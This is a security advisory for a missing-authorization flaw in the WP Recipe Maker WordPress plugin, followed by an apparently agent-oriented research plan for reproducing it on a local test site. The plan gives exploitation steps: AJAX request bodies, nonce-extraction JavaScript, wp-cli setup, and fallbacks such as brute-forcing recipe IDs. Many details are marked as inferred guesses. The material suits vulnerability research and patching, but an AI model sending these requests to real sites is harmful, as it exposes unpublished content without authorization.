WP Recipe Maker <= 10.2.4 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure
Description
The WP Recipe Maker plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'ajax_search_recipes' and 'ajax_get_recipe' functions in all versions up to, and including, 10.2.4 This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive recipe information including draft, pending, and private recipes that they shouldn't be able to access.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=10.2.4What Changed in the Fix
Changes introduced in v10.3.0
Source Code
WordPress.org SVN# Research Plan: CVE-2025-14742 - WP Recipe Maker Missing Authorization ## 1. Vulnerability Summary The **WP Recipe Maker** plugin (<= 10.2.3) contains a missing authorization vulnerability in its AJAX handlers for searching and retrieving recipes. Specifically, the functions `ajax_search_recipes` …
Show full research plan
Research Plan: CVE-2025-14742 - WP Recipe Maker Missing Authorization
1. Vulnerability Summary
The WP Recipe Maker plugin (<= 10.2.3) contains a missing authorization vulnerability in its AJAX handlers for searching and retrieving recipes. Specifically, the functions ajax_search_recipes and ajax_get_recipe do not implement sufficient capability checks or post-status filtering. This allows any authenticated user with Subscriber-level permissions to access recipe data that should be restricted, such as recipes in draft, pending, or private status.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Actions (Inferred from function names):
wprm_search_recipes(callsajax_search_recipes)wprm_get_recipe(callsajax_get_recipe)
- Vulnerable Parameters:
recipe_id(likely used inajax_get_recipeto fetch a specific recipe).searchorterm(likely used inajax_search_recipesto query recipes).
- Authentication: Authenticated (Subscriber-level and above).
- Preconditions: A "Secret" recipe must exist in a non-public state (Draft, Private, or Pending).
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX actions during
initoradmin_init:add_action( 'wp_ajax_wprm_search_recipes', array( $this, 'ajax_search_recipes' ) ); add_action( 'wp_ajax_wprm_get_recipe', array( $this, 'ajax_get_recipe' ) ); - Missing Check: Inside
ajax_get_recipe($recipe_id), the code likely callsWPRM_Recipe_Handler::get_recipe( $recipe_id )orget_post( $recipe_id )without verifying if the current user has theedit_postscapability or if the post ispublish. - Missing Check: Inside
ajax_search_recipes(), the code likely performs aWP_Querywithpost_type => 'wprm_recipe'but fails to setpost_status => 'publish', thereby returning results from all statuses to any logged-in user. - Sink: The raw recipe object (including sensitive meta and content) is returned as a JSON response via
wp_send_json().
4. Nonce Acquisition Strategy
The plugin typically enqueues admin scripts for the Recipe Modal which contain the required nonces.
- Identify Nonce Source: The nonce is likely localized in a global JavaScript object, potentially
wprm_adminorwprm_manage. - Setup for Nonce Extraction:
- The Recipe Modal logic is often present on the Post Editor or the "Manage Recipes" page.
- Create a simple post and include the WPRM shortcode or navigate to the WPRM management page.
- Extraction Steps:
- Step 1: Create a page:
wp post create --post_type=page --post_status=publish --post_content='[wprm-recipe-search]' --post_title='Exploit Page' - Step 2: Navigate to the page as the Subscriber user using
browser_navigate. - Step 3: Execute
browser_evalto find the nonce:// Common WPRM localization keys (to be verified by the agent) window.wprm_admin?.nonce || window.wprm_manage?.nonce || window.wprm_public?.nonce - Alternative: If no nonce is verified in the
wp_ajax_handler (only a login check exists), the request may proceed with just the session cookie.
- Step 1: Create a page:
5. Exploitation Strategy
Step 1: Data Exposure via Search
Retrieve the IDs of recipes that are not public.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wprm_search_recipes&search=Secret&security=[NONCE] - Expected Response: JSON array containing objects with
idandtitlefor recipes including those in "Draft" status.
Step 2: Data Exposure via Get Recipe
Retrieve the full details of a restricted recipe ID discovered in Step 1.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wprm_get_recipe&recipe_id=[RESTRICTED_ID]&security=[NONCE] - Expected Response: A JSON object containing the full recipe content (ingredients, instructions, notes) that should only be visible to authors/admins.
6. Test Data Setup
- Admin Actions:
- Install and activate
wp-recipe-makerversion 10.2.3. - Create a recipe titled "Public Apple Pie" and Publish it.
- Create a recipe titled "Secret Agent Cookies" and set status to Draft.
- Create a recipe titled "Private Government Pasta" and set status to Private.
- Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123.
- Install and activate
- Shortcode Deployment:
wp post create --post_type=page --post_status=publish --post_content='[wprm-recipe-search]' --post_title='Search Portal'(To help find nonces if enqueued).
7. Expected Results
- The Subscriber user, despite having no permissions to view drafts or private posts, receives a JSON response from
wprm_search_recipesthat includes "Secret Agent Cookies". - The Subscriber user receives the full JSON data for "Private Government Pasta" when querying its ID via
wprm_get_recipe. - The
post_statusof the returned recipes in the DB is confirmed asdraftorprivate.
8. Verification Steps
- Check Recipe Status via CLI:
wp post list --post_type=wprm_recipe --post_status=any --fields=ID,post_title,post_status - Confirm Lack of Permissions:
wp user cap list attacker # Confirm 'edit_others_posts' or 'read_private_posts' is NOT present. - Evaluate Response: Verify that the JSON response body from the
http_requesttool contains the sensitive recipe ingredients or instructions.
9. Alternative Approaches
- Parameter Variation: If
securityis not the nonce key, trynonce,_wpnonce, orwprm_nonce. - Search Discovery: If
wprm_search_recipesdoes not return IDs, try to brute-force ID numbers (e.g., 1-100) usingwprm_get_recipeto see which ones return data. - Direct Access Check: Try accessing the REST API (if enabled) at
/wp-json/wprm/v1/recipes/[ID]to see if the missing authorization extends to REST routes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.